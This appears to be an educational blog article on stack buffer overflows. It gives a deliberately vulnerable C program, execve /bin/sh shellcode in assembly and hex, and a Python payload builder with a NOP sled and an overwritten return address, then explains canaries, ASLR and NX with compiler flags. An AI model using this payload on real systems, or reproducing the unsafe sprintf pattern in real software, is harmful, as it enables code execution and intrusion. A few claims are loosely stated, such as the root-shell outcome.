Buffer Overflow Attacks and Protection Mechanisms

Introduction

Buffer overflow attacks are among the most dangerous vulnerabilities in software security. Attackers exploit buffer overflows to execute malicious code, often gaining unauthorized access or escalating privileges. This article explores how attackers craft buffer overflow exploits, including NOP sleds, shellcode injection, and return address manipulation. Additionally, we will discuss defensive measures such as stack canaries, ASLR, and modern compiler protections.


How Buffer Overflow Attacks Work

A buffer overflow occurs when a program writes more data into a memory buffer than it can hold. This excess data spills over into adjacent memory, potentially overwriting the return address (EIP in x86 architecture), which determines the next instruction the CPU executes. If an attacker can control this value, they can redirect execution to their malicious code.

Example: Vulnerable C Code

c

CopyEdit

#include <stdio.h>

#include <string.h>

void Func(char *arg1) {

    char buffer[4];  // Small buffer

    sprintf(buffer, “%s”, arg1);  // Unsafe function

    printf(“User input: %s\n”, buffer);

}

int main(int argc, char *argv[]) {

    if (argc < 2) {

        printf(“Usage: %s <input>\n”, argv[0]);

        return 1;

    }

    Func(argv[1]); 

    return 0;

}

Why is this code vulnerable?

  • sprintf writes user input (arg1) into buffer without checking its length.
  • If arg1 is larger than 4 bytes, it will overwrite adjacent memory, including EIP.
  • An attacker can inject shellcode and redirect execution to it.

Shellcode Injection and Execution

1. Crafting Shellcode for Exploitation

Shellcode is a sequence of machine instructions that execute a malicious payload, such as spawning a shell. Since buffer overflows often involve overwriting memory using string functions, the shellcode must:
Avoid null bytes (\x00) – These terminate strings in C functions.
Not use the stack – The stack gets corrupted in buffer overflows.
Be self-contained – Cannot rely on external libraries.

Example: Shellcode to Spawn /bin/sh on Linux (x86 Assembly)

assembly

CopyEdit

section .text

    global _start

_start:

    xor eax, eax        ; Clear eax

    push eax            ; NULL terminator

    push 0x68732f6e     ; “n/sh”

    push 0x69622f2f     ; “//bi”

    mov ebx, esp        ; Store pointer to “/bin/sh”

    xor ecx, ecx        ; NULL argument

    xor edx, edx        ; NULL environment

    mov al, 11          ; execve syscall

    int 0x80            ; Trigger syscall

Converting Assembly to Hex for Injection

Use nasm and objcopy to generate shellcode:

bash

CopyEdit

nasm -f elf32 shellcode.asm -o shellcode.o

objcopy -O binary -j .text shellcode.o shellcode.bin

hexdump -v -e ‘”\\x” 1/1 “%02x”‘ shellcode.bin

This outputs the raw machine code needed for exploitation.


2. Using a NOP Sled to Improve Reliability

One challenge in buffer overflow exploitation is getting the EIP to land precisely on the shellcode. If the return address is incorrect, the program crashes.

To increase success rates, attackers use a NOP sled – a series of NOP (\x90) instructions leading to the shellcode. If execution lands anywhere in the NOP sled, it “slides” down to execute the payload.

Exploit Layout

css

CopyEdit

[ Padding ] [ Return Address ] [ NOP Sled ] [ Shellcode ]

Python Script to Generate an Exploit Payload

python

CopyEdit

import sys

buffer_size = 40

nop_sled = b”\x90″ * 100  # 100 NOP instructions

shellcode = b”\x31\xc0\x50\x68\x2f\x2f\x62\x69\x68\x2f\x73\x68\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80″

return_address = b”\xef\xbe\xad\xde”  # Example overwrite address

payload = b”A” * buffer_size + return_address + nop_sled + shellcode

sys.stdout.buffer.write(payload)

Run the exploit with:

bash

CopyEdit

python3 exploit.py | ./vulnerable_program

If successful, it spawns a root shell.


Defenses Against Buffer Overflow Attacks

1. Stack Canaries

A stack canary is a secret value placed before the return address. If a buffer overflow overwrites the canary, the program detects it and terminates execution before the attack succeeds.

Types of Canaries:
Terminator Canaries – Contain characters like NULL (\x00), line feed (\x0A), preventing string functions from copying them.
Random Canaries – Generated at runtime, making them hard to predict.
Random XOR Canaries – XORed with control data, increasing difficulty for attackers.

To enable stack canaries in GCC, compile with:

bash

CopyEdit

gcc -fstack-protector-all -o secure_program program.c


2. Address Space Layout Randomization (ASLR)

ASLR randomizes memory addresses of processes, making it difficult for attackers to predict where their shellcode will land.

To check if ASLR is enabled:

bash

CopyEdit

cat /proc/sys/kernel/randomize_va_space

(1 = Partial, 2 = Full, 0 = Disabled)

To enable ASLR:

bash

CopyEdit

echo 2 > /proc/sys/kernel/randomize_va_space

However, attackers can bypass ASLR by:

  • Brute-forcing memory addresses
  • Leaking memory addresses from process info

3. Non-Executable Stack (NX Bit / DEP)

Modern systems mark the stack as non-executable using NX-bit (Linux) or Data Execution Prevention (DEP in Windows). This prevents injected shellcode from running.

To check if NX is enabled:

bash

CopyEdit

cat /proc/cpuinfo | grep nx

To compile with non-executable stack protection:

bash

CopyEdit

gcc -z noexecstack -o secure_program program.c


Conclusion

Buffer overflow attacks remain a significant threat but can be mitigated through stack canaries, ASLR, and NX-bit protections. Ethical hackers and security researchers must understand how attackers exploit buffer overflows to develop secure software.

Leave a Comment

Your email address will not be published. Required fields are marked *